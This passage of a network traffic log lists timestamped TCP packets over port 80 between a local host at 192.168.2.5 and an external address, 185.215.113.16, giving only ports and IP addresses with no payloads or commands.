Oct 23, 2024 15:49:13.997272015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997287989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997294903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.997306108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997322083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997324944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.997339010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997351885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.997354984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.997378111 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.997409105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007519007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007535934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007550955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007575035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007586956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007589102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007611036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007611036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007625103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007628918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007647991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007656097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007664919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007666111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007700920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007705927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007710934 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007723093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.007745028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.007778883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008284092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008306980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008322954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008335114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008346081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008347034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008372068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008380890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008393049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008397102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008414030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008419991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008436918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008440018 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008452892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008462906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008470058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008479118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008486986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008491993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008502007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008510113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008518934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008523941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008542061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008543968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008555889 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008560896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008577108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008584023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008584976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008593082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008603096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008610010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008625031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008640051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008665085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008665085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008682966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008698940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008699894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008709908 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008714914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008732080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008738995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008755922 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008765936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008784056 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008785009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008800983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008809090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008817911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.008830070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008841991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.008866072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009179115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009219885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009228945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009258986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009449005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009471893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009486914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009493113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009501934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009506941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009519100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009532928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009533882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009542942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009557009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009567022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009572983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009578943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009593964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009598017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009614944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009615898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009630919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009637117 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009646893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009649038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009663105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009670973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009685040 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009687901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009704113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009705067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009721041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009727955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009741068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009746075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009757042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009759903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009773970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009783030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009789944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009808064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009815931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009826899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009841919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009845972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009857893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009866953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009874105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009876013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009890079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009905100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009906054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009916067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009921074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009937048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009938955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009951115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.009953976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009970903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.009989977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.010025024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.010055065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.010101080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.026271105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.026330948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.026334047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.026366949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.026388884 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.026412010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034480095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034542084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034568071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034603119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034621954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034645081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034652948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034677982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034687996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034713030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.034724951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.034765005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.047517061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.047547102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.047576904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.047645092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.047772884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.047801971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.047825098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.047841072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.079797029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.079870939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.079895020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.079920053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.079940081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.079973936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.079984903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.080008984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.080017090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.080060005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.111792088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.111862898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.111907959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.111938953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.111963034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.111987114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112035036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112087965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112096071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112138033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112138987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112174034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112189054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112207890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112224102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112243891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112257957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112277031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112288952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112332106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112344027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112379074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112394094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112413883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112426043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112447977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112482071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112493992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112531900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112710953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112744093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112762928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112787962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112795115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112828970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112844944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112864017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.112874985 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.112909079 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123358965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123395920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123475075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123528004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123572111 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123580933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123632908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123667002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123702049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123735905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123769045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123802900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123807907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123842955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123861074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123878956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.123891115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123961926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.123969078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124025106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124032021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124072075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124083042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124116898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124133110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124150991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124170065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124185085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124196053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124254942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124273062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124289036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124305964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124325991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124329090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124360085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124385118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124394894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124429941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124464035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124464035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124475002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124483109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124532938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124552011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124571085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124573946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124584913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124622107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124627113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124655962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124677896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124690056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124701023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124738932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124742031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124778032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124794006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124811888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124840975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124845982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124850035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124878883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124891043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124917030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124928951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.124950886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.124965906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125000000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125021935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125056982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125081062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125092983 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125109911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125144005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125161886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125178099 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125185013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125209093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125219107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125267982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125271082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125323057 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125349045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125386953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125405073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125421047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125452042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125456095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125468016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125489950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125504971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125524044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125536919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125559092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125570059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125593901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125607967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125639915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125644922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125693083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125696898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125731945 CEST	80	49967	185.215.113.16	192.168.2.5
